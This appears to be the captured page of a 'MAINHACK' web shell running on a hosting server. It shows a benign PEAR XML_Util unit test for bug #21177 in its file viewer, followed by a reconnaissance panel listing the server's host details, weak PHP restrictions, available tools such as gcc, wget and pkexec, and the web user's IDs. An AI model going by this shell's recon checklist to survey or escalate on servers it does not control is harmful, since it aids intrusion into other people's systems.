[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Bug21177Tests.php
File is not writable. Editing disabled.
<?php /** * Bug #21177 "XML_Util::collapseEmptyTags() can return NULL" * * PREG returns NULL when it encounters an error. * In this case, it was encountering PREG_BACKTRACK_LIMIT_ERROR. * * @link https://pear.php.net/bugs/bug.php?id=21177 */ class Bug21177Tests extends AbstractUnitTests { public function getTestCandidate() { $expected = '<id_mytest_yesorno />'; return array( array('<idmytestyesorno></idmytestyesorno>', '<idmytestyesorno />'), array('<idmytestyesorno />', '<idmytestyesorno />'), array('<id_mytest_yesorno></id_mytest_yesorno>', '<id_mytest_yesorno />'), array('<id_mytest_yesorno />', '<id_mytest_yesorno />'), ); } /** * @dataProvider getTestCandidate() */ public function testCollapseEmptyTagsForBug21177($original, $expected) { $this->assertEquals($expected, XML_Util::collapseEmptyTags($original, XML_UTIL_COLLAPSE_ALL), "Failed bugcheck."); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.net
Server IP: 192.168.74.40
PHP Version: 8.1.34
Server Software: Apache
System: Linux server05.hostinghome.net 4.18.0-553.121.1.el8_10.x86_64 #1 SMP Thu Apr 30 09:06:34 EDT 2026 x86_64
HDD Total: 1.46 TB
HDD Free: 523.98 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: itsweb
User ID (UID): 1133
Group ID (GID): 1134
Script Owner UID: 1133
Current Dir Owner: N/A